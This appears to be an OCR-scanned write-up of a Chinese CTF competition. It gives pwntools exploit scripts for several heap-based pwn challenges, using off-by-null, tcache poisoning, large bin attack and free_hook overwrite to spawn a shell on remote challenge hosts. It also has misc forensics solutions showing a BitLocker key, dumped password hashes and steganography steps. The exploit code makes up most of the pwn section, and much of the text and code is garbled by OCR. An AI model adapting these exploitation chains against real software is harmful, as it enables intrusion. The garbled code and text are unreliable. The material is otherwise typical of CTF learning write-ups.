
shell= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f')[-6:].1just(8,"'\x00"))
rve = lambda : u64(rv(6)+'\x00'*2)

menu = lambda x:p.sendlineafter(">>> ",str(x))

def lg(s, addr):
print('\033[1;31;40m%20s-->0x%x\033[0m"' % (s, addr))

def bp(bkp=0, other=""):
if bkp == 0:
cnd = "'



elif bkp <= @x7fff:
cnd = "b *$rebase("+str(bkp)+")"
else:
cnd = "b *"+str(bkp)
cmd += other
attach(p, cmd)

def add(index, name, size, content):
menu(1)
ru("index of your lemon")
sl(str(index))
ru("name your lemon:")
sn(name)
ru("of message for you lemon:")
sl(str(size))
ru("Leave your message:")
sn(content)

def add2(index, name,size):
menu(1)
ru("index of your lemon")
sl(str(index))
ru("name your lemon:")
sn(name)
ru("of message for you lemon:")
sl(str(size))

def show(index):
menu(2)
ru(" your lemon :")
sl(str(index))

def dele(index):
menu(3)
ru(" your lemon :")
sl(str(index))

def edit(index, content):
menu(4)
ru(" index of your lemon")
sl(str(index))
ru("Now it's your time to draw and color!")
sn(content)

def exploit():
sl("yes")
sa("Give me your lucky number:",p64(0xcff48db8b7c913e7))
sa("tell me you name first:",p64(0)*2+'\x00\x20\x00\x00\x01")
ru("ex")
flag = int(rv(3),16)
success(hex(flag))
flag2 = flag+0x1000-0x40 # flagHitlHyFF=+
success(hex(flag2))
payload = 'a'*@x138+chr(flag2&0xff)+chr((flag2>>8)&0xff) ##EHEF L EITE
success(payload.encode( 'hex"))
edit(-260,payload)

add(@, 'desh',0x20,'a")



dele(0)

add(@, 'desh',0x10,'a")

add2(1, 'desh',0x114514)

dele(09)

payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)
add(@, "desh',0x20,payload)

dele(0)

dele(1)

add(@, '\xa0"',0x20, '\xa0")

add2(1,p64(0x10),0x%20)

while True:

try:
p = remote("47.104.70.90",34524)
exploit()
aaa = ru("or corruption (!prev):")
print aaa
if "flag" in aaa:

pause()

except:
p.close()
continue

flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
**3. **PassWordBox_FreeVersion
fgets Tl A H —/Mx00;

libc2.27 F Kioff by null, SZ¥lchunk overlap, #Ti&tktcacheIfdig4t, 2 HELE]_ free_hookil, ¥ H & Asystem

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./pwdFree"
reomote_addr=["47.104.71.220",38562]

elf = ELF(pc)

libc = elf.libc

context.binary=pc

context.terminal=| "gnome-terminal”,'-x"',"sh", " '-c"]

if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.s0.6"})
if len(sys.argv)==2 :
if '1" in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0], reomote_addr(1])
if 'n' not in sys.argv[1]:
context.log_level="debug"
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda
sl = lambda x
rv = lambda x

.recvline()
.sendline(x)

T T ©T T T

.recv(x)



sa = lambda a,b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)

shell= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f')[-6:].1just(8,"'\x00"))
rve = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m"'%(s,addr))

what_choice="Input Your Choice:"
ch_add="1"
ch_dele="4"
ch_edit="2"
ch_show="3"
what_size="Length Of Your Pwd:"
what_c="Your Pwd:"
what_idx="Which PwdBox You Want Check:"
def add(ID,size,c=""'): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
s1(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sl(c)

def add2(ID,size,c="'"): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
s1(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sn(c)

def dele(idx):
ru(what_choice)
sl(ch_dele)
ru("Idx you want 2 Delete:")
sl(str(idx))

def edit(idx,c):
ru(what_choice)
sl(ch_edit)
sl(str(idx))
sn(c)

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))

add('',0x20) #0
ru("Save ID:")
rv(8)

key = u64(rv(8))



for i in range(7): #1-7
add('d',oxf8)

add('d',0x28) #8
add('d',exf8) #9

for i in range(2): #10-11
add( 'Desh',0x48)

add('D',0x28) #12
add('D',exf8) #13
add('D',0x28) #14

for i in range(7):
dele(i+1)

dele(12)
add2('d',0x28, 'a' *0x20+p64(0x1do"key))

dele(9)
dele(13)

for i in range(8): #1-7 ,9
add('d',oxf8)

show(10)

ru("Pwd is: ")

libc_base = u64(rv(8))"key

libc_base -= 0x3ebcad
free_hook=1ibc_base+libc.sym[' free hook']
sys_addr=1ibc_base+libc.sym[ 'system' ]
lg("1libc_base",1libc_base)
lg("free_hook",free_hook)

add('d',ox48) #13
dele(19)
edit(13,p64(free_hook))

add('d',0x40,p64(0x68732f6e69622f key)) #10
add('d"',0x40,p64(sys_addr~key))

dele(19)

lg("key" key)
shell()

flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
4. PassWordBox_ProVersion

FAEUAF, H 8 B iElargebink /M chunk



iBid2.31/large bin attack, 7 LMEH mp_ 45 #4k F Kitcache_binsHlitcache_max_bytes
P mp_

trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,

arena_max = 0,

n_mmaps = 8,

n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 8,

mmapped mem = @,
max_mmapped mem = @,

sbrk_base = 8x56243b746000 "",
tcache bins = 4284166930719309888,
tcache max bytes = 22852,
tcache count = 7,
tcache_unﬂortedh&&

ZJEiEid i, EhiEKtcache structlIMi MisizeIf B EE E free_hook, FI#EL HiE H Sk B Asystem
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

pc = './pwdPro'

# p = process(pc)

libc = ELF("./libc.so"

p = remote("47.104.71.220", 49261
context.log_level = 'debug’
context.binary=pc

1 1 1 '

context.terminal=["gnome-terminal”,'-x"',"'sh","'-c

ru = lambda x : p.recvuntil(x,timeout=0.2
sn = lambda x p.send(x

rl = lambda p.recvline

sl = lambda x p.sendline(x

rv = lambda x p.recv(x

sa = lambda a,b p.sendafter(a,b

sla = lambda a,b p.sendlineafter(a,b

shell= lambda :p.interactive

ru7f = lambda ubd(ru( "\x7f")[-6 1just(8, "\x00"
rve = lambda ub4(rv(6)+"\x00"*2

def add(idx, id, size, content="a\n"

sla("Choice:", "1"
sla("Add:", str(idx
sla("Save:", id

sla("Of Your Pwd:", str(size
sa("Your Pwd:", content

def show(idx
sla("Choice:", "3"

sla str(idx

def edit(idx, content
sla("Choice:", "2"
sla("Edit:", str(idx
sn(content

def dele(idx

sla("Choice:", "4"



sla("Delete:", str(idx))
def re(idx):

sla("Choice:", "5")

sla("Recover:", str(idx))

add(e, "a", 0x450)
ru("ID:")

rv(8)

key = ub4(rv(8))
print(hex(key))

add(1, "a", 0x420)
dele(9)

re(9)

show(9)

ru("Pwd is: ")

libc.address = (u64(rv(8))"key) - ©@xlebbed
print(hex(libc.address))

)]

add(0, "a", 0x450)

add(2, "a", ox449)

add(3, "a", ox420)

dele(9)

add(4, "a", 0x600)

dele(2)

re(9)

show(9)

ru("Pwd is: ")

rv(0x10)

heap_addr = u64(rv(8))” key
print(hex(heap_addr))
edit(0, p64(libc.address + Ox1ec010 )*2+p64(heap_addr)+p64(libc.address+0xleb2d8-0x20-4)+"'\n")

add(10, "a", 0x600)
add(11, "a", 0x800, p64(ubd("/bin/sh\xee")”key)+"\n")

dele(19)
edit(o, "a"*oOxe8+p64(libc.sym[' free hook']))

add(12, "a", ox600, p64(libc.sym| 'system’' | key)+'\n")
dele(11)

shell()

flag{909cf735-b274-4098-885b-589300839b71}

5. JigSaw’sCage

FERYE /R, AT S R 21 B — Herwx i) HE bk -



v4d = _ readfsqword(ex28u);
/3 = sysconf(Ox1E);

1 = 8;

v2 = rand() % 16;

while ( num_5 )

{

printf("The result is %d\n", (unsigned int)v2);
printf(aAreYouWillingT, (unsigned int)num_5);
= |=i‘”Mikﬂ 3\ r‘hn'irﬂ'”":-

__iso0c99_scanf("%1d", &vl);

if ( vl )
{
if (v2 > 14 )
o mprocectiivoLn
else

}

--num_5;
¥
¥

testE H AT LASAAT A\ FRIVC S A

T

mprotect((void *)(-v
return __readfsqword(@x28u) ~ v4;

L

-
=
-

& p_ptr), (-v3 & (heap_ptr + @x¢

& heap_ptr), v2, 7);

puts("OK,Let"'s Try Again?");

return __readfsqword(@x28u) ~ v4;

FIFRE R FFREN0,M2, 5BHIRE, £ free_hooki AsystemBi 7] :

RBP
RSP
RIP

Ox55Ffbfo0792cO
» Ox55Tbf90792c7
1

add rl10, ©x50068
mov rl2, rlo

sub rlo, 0x1496be
mov qword ptr [rl12],ri10

exp:

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./JigSAW"
reomote_addr=["47.104.71.220",10273
elf = ELF(pc

add
mov




libc = elf.libc
context.binary=pc

context.terminal=["gnome-terminal”,'-x"',"'sh',"'-c"']

if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.so0"})
if len(sys.argv)==2 :
if "1' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0], reomote_addr(1])
if 'n' not in sys.argv[1]:
context.log_level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)

rl = lambda : p.recvline()

sl = lambda x : p.sendline(x)

rv = lambda x : p.recv(x)

sa = lambda a,b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)

shell= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f')[-6:].1just(8,"'\x00"))
rve = lambda : u64(rv(6)+"'\x00"'*2)

def lg(s,addr):
print('\@33[1;31;40m%20s-->0x%x\033[0m"'%(s,addr))

what_choice="Choice : "

ch_add="1"

ch_dele="3"

ch_edit="2"

ch_show="5"

what_size=""

what_c="iNput:"

what_idx="Index? : "

def add(idx): # oxie 571
ru(what_choice)
sl(ch_add)
ru(what_idx)
sl(str(idx))

def dele(idx):
ru(what_choice)
sl(ch_dele)
ru(what_idx)
sl(str(idx))

def edit(idx,c): #0x10
ru(what_choice)
sl(ch_edit)
ru(what_idx)
sl(str(idx))
ru(what_c)
sn(c) ##

def test(idx):

mirlialhad AlhAS ~A N



ruiwiiac_crivice )
s1('4")
ru(what_idx)
sl(str(idx))

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))

ru("Name:")
sl('desh")

ru("The result is ")
size = ru('\n")
print(int(size,10))

ru("Make your Choice:")
sl(str(0xffff00000000))

codel = asm("add ri10, 0x50068; mov ri2, rio;")
code2 = asm("sub rle, 0x1496bo; mov qword ptr [rl12], rie")

add(0)

add(1)

add(2)

edit(9,codel)
edit(1,code2)
edit(2,'/bin/sh\x00")
test(9)

test(1)

dele(2)

shell()

flag{58591d4d-068f-47ed-9305-a65762917b06}
misc

1. "B B BE
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@ Decrypt Disl
Decrypted disk file

Browse. .

Mount Disk

Recovery
549714-116633-006446-278597-1T6000-T03532-618101-131406 [copy]

*The Key for data decryption was

bitlocker# 4 549714-116633-006446-278597-176000-708532-618101-131406
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BRER —EREE il EREaEs

+* =" I flagzipgRa vy 14.0 KB

& e EEE | SiFENFERAEE
(ERER)

flag.docx * 14.0 KB 11.5 KB

< >

Fue 115 KB 21 3 [E4REE 81.8%

hashdump— T

. \memdump . mem hashdump

PS D:\misc\volatility_2.6_win64_standalone> .\volatility.exe
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3bd35b51U0deeaad3by35b5140dee:31d6ctedd16ae931b73c59d7e®cOB9cO: : :
Guest:501:aad3bU35b51U0Ueeaad3bu35b51U0dee:31d6cfe@dl6ae931b73c59d7e@c089cO: : :
XinSai:1000:aad3buU35b51U40Ueecaad3bd35b5140lee:27caallle7118+duU829d9b9cbd87aaal0: : :
XiaoMing:1001:aad3bU35b51U0Ueeaad3by35b5140dee: 92efa7+9+2740956d51157F46521F9U1: : :

PS D:\misc\volatility_2.6_win64_standalone> |

fi— T xiaoming_handsome & /& 4 (. % 1%

fTFFdocx, &H—REE
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WENV) BGEP) TEM

‘ mEres Q| B2 ITEEIRER '
=0l [EFER S SRS FHEHE T SRR T XA T @R PR T iR T RBES T ERERS R

£ 1 [1DADesktop\xiangyuncup\misc1_ERiF\Forensic_image.001(21046) [] 4 =& aspnet re... dIl 36,864 assword > S5 055, 17,230 UTF8 \XES\XAF\XB6\XE7\xAO\xB1 DADesktophxi

=0 [20210823094322(21046) O s =B aspnetm...  dll 311,296 weCoen. BES. Password 45,113 UTF8 \XESWAF\XBE\XE7\xA0\x81 D:\Desktop\xi

BRI =75(21046) | 0 6 =6 aspnetm...  dll 311,286 ... 5. Password 45113 UTF8 ES\KAFKBE\ET\RAO\KE T D:\Desktop\xi

O 7 =B aspnetm...  dll 311,296 ..c....Z5f3..Password 45,113 UTF8 \XES\XAF\XB6\XE7\xAO\XB1 DADesktop\xi

O s =5 aspnetm...  dll 311,29 <eCounn BEES.. Password 45,113 UTF8 \XES\XAF\XBE\XE7\xAQ\x81 D:\Desktop\xi

O 9o =8B aspnet re... dll 36,864 assword>..553: 958, 17,230 UTF8 \XES\XAF\XBE\XE7\xAO\XB1 DADesktop\xi

O 10 =% aspnet_re... dll 36,864 assword >..5515:. 9525, 17,230 UTF8 \XES\XAF\XBE\XE7\XAO\xB1 D:\Desktop\xi

o 11 =B StickyNot... snt 5,632 ordSTRYEFS: xiao 5,068 Unicode  \xCB\x5B\x01\x78 DA\Desktop\x

O 12 =% aspnet_re... dll 36,864 assword >..E5E9:. 9% 8, 17,230 UTF8 \XES\XAF\x86\XE7\xAQ\x81 D:\Desktop'xi

0o 13 =i secpolhis  his 106,427 =3 3BE{S passwords 44,553 UTF8 \XES\XAF\XB6\XE7\xAO\xB1 DADesktop

O 14 =% secpolhls  hils 106,427 =13 38%15 passwords 44,553 UTF8 AXES\XAF\X86\XE7\xA0\x81 D:\Desktop'xi

0 15 =88 Windows.... edb 42,008,5... ord3TR¥EES: xiao 16,269,6.. Unicode  \xCE\X5B\xO1\x78 D:\Desktop\xi

O 16 =1 Windows.... edb 42,008,5... ord¥REEH: xiao 16,269,6... Unicode  \xC6\XSB\xO01\x78 D:\Desktop\xi

0 17 =i pagefile.sys  sys 1,073,74... ord¥R¥ETS: xiao Unicode  \XCE\XSB\X01\x78 D:\Desktop\xi

O 18 =@© pagefile.sys sys 1,073,74... ordSZTRSERD: 9. Unicode  \WCE\x5B\x0T\x78 DADesktop\xi

0 19 =8B pagefile.sys sys 1,073,74... ordXE¥EE: xiao Unicode  \xCE\X5B\X01\x78 D:\Desktop\xi

O 20 =8 pagefile.sys sys 1,073,74... ordSTRYET3: xiao Unicode  \WCE\x5B\x01\x78 DADesktop\xi

O 21 =% pagefile.sys sys 1,073,74... ordXREETS: xiao Unicode  \WCEWSB\WX01\x78 D:\Desktop\xi

0 22 =i pagefile.sys sys 1,073,74... ordSTRYEFS: xiao Unicode  \xCB\x5B\x01\x78 DA\Desktop\x

0 23 =8% pagefile.sys sys 1,073,74.. ordXREETS: xiao Unicode  \xC6\x5B\x01\x78 D:\Desktop'xi

!:\ 24 =R nanefila cue cue 107274 nmmr*e.sm wvian Unicada Ay AVERWAT\VTR NANacktanvi

RE pz T R SRR
U0F24140 7700 6F00 7200 €400 9765 6362 CESB 0178 LAFF 7800 6900 6100 €FO0 6D00 6900 6EQ0 6700 3100 3300 3100 3400 0177 O0GF 0072 0064 0087 6563 63CE SBOL 781A FE72 0069 w o r d JUSEM: x1aoming
00F84180 0061 O0EF 00€D 0069 O006E 0067 0031 0033 0031 0034 0003 17EE 378D 3CO7 R1BS DCFD B41S 6BDS SAB2 5328 26A3 DIEC 341C 2D67 €BCD 64B3 SCAE 46AB DDSA BéSE 5Ce6 B3CO ERAMESOOO i . Fo
00FS41C0 7080 560C 0685 F553 0312 381A 2D0C CBDS 622D 3209 5668 C562 EST0 0BO7 4271 BSFB €928 DEAR BS64 BLS€ 4C46 A3DS 6338 SACE DGSA C966 BIIC 5CSE BEBS 6CBL LaCD €693 Mo DY [ 2 %5 O SiBlE 12,
00F84200 E160 AD1S 0C16 EB73 DDEF 7A79 SE02 0480 0100 2B06 7F29 002B 0100 002ZA 2A2R 2R01 D671 7452 953A F12A 2A2R 2A2A 2A2A 2A2R 2A2A 2A01 D71 7452 16F€ BODA 0BOL 4000 B0 5 Brfiy M0 o00000 T
00F34240 0DO1 4200 1401 4800 1501 5000 1701 5200 1801 €600 1B01 CFOO B301 1EO1 BSO1 2001 BCO1 SA01 DBO1 301 F201 AFO1 FDO1 B601 1202 1802 1402 5002 5702 B302 0000 0317 EBEKEP & EEEIY&e6
00F84280 F432 SEFE 92D3 CDOO 0000 0000 0311 SCEE 7EDA 8ABS 6A2D 59AC 1593 D168 3€1R ESE BIBS 66B2 552E 2723 DSGE 2DSB 2C46 BIDY 6438 5828 0683 CSFA 5CF7 9BSE 9E03 0314 0 . X100 = 0 B0 2t Y
0OF942C0 SCEE 7EDA SABS €A2D SSAC 1593 DL6S 36LA SE96 B3BS 66B2 S92E 27A3 DSEE 2DSB 2C4¢ BIDS 6438 562B 0683 CSFA SCE7 9BSE 9E73 €9BL FL2C 1CBB C95A €4F2 4CDC 9ACS CAEl O H0 S mRsE
00F84300 9618 0000 0000 0000 0000 0003 1053 7ATA BCCE 3BDF F4F2 SCF7 7AED ATRD SAB D692 CSSA 3116 8Dé¢ A3E] 6839 SBEB 2698 EST2 325A EDDé B2CS 6234 SBMD 6683 BS€2 3056 7 000D Zo A0 B BREERI L
00F24340 ACFF 72BF ESES F98B 1618 CFC2 B19E AC45 26CF C4AD S3AC LCEE 8901 0000 OL€E 7702 170C FESB CDIC 525A £828 0B40 6228 9464 DO2F 134F LF72 201R 3076 9878 ECO04 5070 0 ¥ i 28453 3o 0 5o #§ =0 & o 80 {7
00F84380 EO15 2926 1042 062A EFSE F458 SA0S F669 3BSE 0736 1C52 ODAF 2FD7 9C6C FCTL 4D42 682E GAd6 6C22 664A 6026 624E €43A SD52 SB3E 1219 4350 5514 4479 2D10 E481 R639 O + B0 IO MEE4IES HIEM0 Zo Fe iL&dE & o2 TR
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;00D &80 Pword FHEFEE: xiaoningli31400 -1

£ 0D0A,00F, 0000008, 00 O0CQODOOQ &&ta, OO
OO0oDO0OoDOoOOoO0g , 000000 %, oooo Qo - 5P &, 00
00000000 D, 000000 S, 0000Coa&FEEeo0ooOO
O0DO0O0OO0DOOODOE, 0000000, 0000QO = ¢00 SMenE
(000 ,0000000000+4 ,000000%,00g0%b0O
&OQ \V\V[{s8-1-5-21-12446484596-32369%2

457-611466280-1001})\vnotesOOOoooOan
ZE 0D, 0000004, oooo0b0 @EEsE0 ERO00 % OO0
0O00DOO0OOOO®, 000000 S, 0000000 notes

flaz{3ca8 11 bEGS F2-bERE—09T c—chmE—Fopd04 2591 =2

**2‘ **D_‘I%?[E,;&rf

fIE)E, B%—Adocx, BEMILANT, BHERE. BSovzp/ERidik.

f#IEzip, B Mkey t2E%R

Text in Text Steganography Sample

Original Text: Clear  (length: 39)

RE: XS NE, AftaB&ES?
S REEE, BERS, XMEHN2E.

Hidden Text: Clear (length: 26)

Steganography Text: Clear (length: 247)

mE: RN NE, At ABE?
S RBEE, BEEN, XEHEMHZE.

Encode
»

@«

Decode

Download Stego Text as File

#2157 Because | like naruto best

fRIEAE, ORI, —EREER

from PIL import Image

from Crypto.Util.number import long_to_bytes

import base64

path = "D:\\Desktop\\xiangyuncup\\misc4_ \\_rels\\out\\"

flag = "ob"

for i in range(129488):
_path=path+str(i)+".png"
a=Image.open(_path)
if a.size[@] == 23:flag+="0"
else:flag+="1"

cipher=int(flag, 2)

data=long_to_bytes(cipher)

data = str(data).split(',')[1].encode()

image_data = base64.b64decode(data)

with open('1l.png', 'wb') as f:
f.write(image_data)




3. ChieftainsSecret

binwalk "] LAfG 8] — AR A —5Kith 7w = B :

EREESHEHKITIRT .

FRHAFLEE, TURRE -E=AREES, REGESNZTUEREMHAER

85 - diagram.prg & b

O

SN_P

Vref

GND I1

STM32F103
g
-
2

TLESS01

cos P

'

GND_P

SRR

AasRaadAAAd AR NARA AR A S AR s AR R R R aans!

3564 2629
3624 2588
3839 25386

ade B8

SbEE— T Y 2H ¥
https://www.bilibili.com/video/av58935371/ 23] T T /B4 ¥ #e it 8]

X=COS_p-COS_nN



y=sin_p-sin_n

FCO FC1
31085
3108
3111
3165
3155
3180
3214
3219
3249
3279
3312
3337
3366
3400
3421
3444
3466
3466
3301
35238
3540
3548
3352
3982
3605
3612
3618
3645
3656
3659
3673
3690
3703
3719
3737
3759

3078
3076
3061
3082
3025
3014
3019
2966
2993
2899
2875
2845
2805
2778
2757
2739
2714
2663
2668
2666
2639
2620
2616
2600
2586
2570
2599
2534
2627
2529
2906
2488
2478
2456
2444
2429

FCZ

4085
4084
4083
4068
4073
4070
4077
4038
4065
4048
4042
4038
40Z8
4018
3986
3999
3992
3984
3975
3969
3959
3952
3947
3936
3914
3926
3011
3895
3879
3881
3871
fatalal
3830
3826
3819
3815

PC3

2117
2118
2124
2121
2122
2124
2126
2138
2139
2146
2148
2182
2170
2175
2186
2190
2202
2203
2214
2238
2235
2232
2248
2250
2265
2279
2306
2502
2801
2513
2322
2339
2345
2367
2368
2375

1137
32
a0
B3

130
166
155
253
296
3380
437
452
961
B2z
664
705
752
803
B35
857
901
928
936
982

1019

1042

1059

1111

1129

1130

1169

1202

1227

1263

1293

1330

HWRAE, Hilitheta (atan2(xy)*57.3, 5 1N1360) , HEEZ:

theta

1968
1966
1959
1947
1951
1946
1951
1920
1928
1902
1894
1876
1858
1843
1800
1809
1730
1781
1761
1736
1724
1720
1699
16846
1649
1647
1605
1593
1578
1568
1549
1517
1505
1459
1451
1440

tan

0. 651948685

0, 016278142
0. 02552877
. 042655529
. D66T31Z285
. 0B5510687
. 100282901
. 132538838
. 154907938
. 202491093
. 2349120855
. 268443073
. 311460496
. 350918915
. 386585448
. 410725394
. 4467068567
. 484123892
L 811779436
. 538103279
. 576048382
. 998797559
0. 61436115
0, 658666633
0, 71081912
. 733205117
. 775305454
. 837893174
. 869071899
. BT8242064
L Q40377272
. 014007935
. 061628525
. 174943898
. 237404145
. 323149651

o0 O 0 o0 0 00 o000 D oD 0o 0o 0

=== OO O OO

30

=] N = CI [ O

g

11
i
14
16
18

20.
2l.
e
24,
29.
26,
27.
28.
28.
30,
a1,
32
B
34.
38,
34,
a7,
38.
39.
40,

4
42

ltheta

. 01912335

. 932572787
. 462165411
. 441202972
. 812406473
. BT6068301
. T081058%6
. 907217474

T37863872
. 29917812
. 99336445
. 69652795
. BO227553
. 65056361
24994889
29333014
T8952592
27098877
31726361
27581161
99458235
39049776
85303473
22061528
71633955
32250427
41981217
89550055
58492438
78154277
04386934
39449043
19264168
88448663
1. 7078058
. T2905548

BANH ST H IS E X N 56D, 1§3)77085962457

S HERE: <Weekly CTF>

WA RFIES], BBENCTFhwebH R RK TH#E, EEHIRIARR,

LR EL I S AR T IE !


https://www.hetianlab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356&pk_campaign=csdn-wemedia
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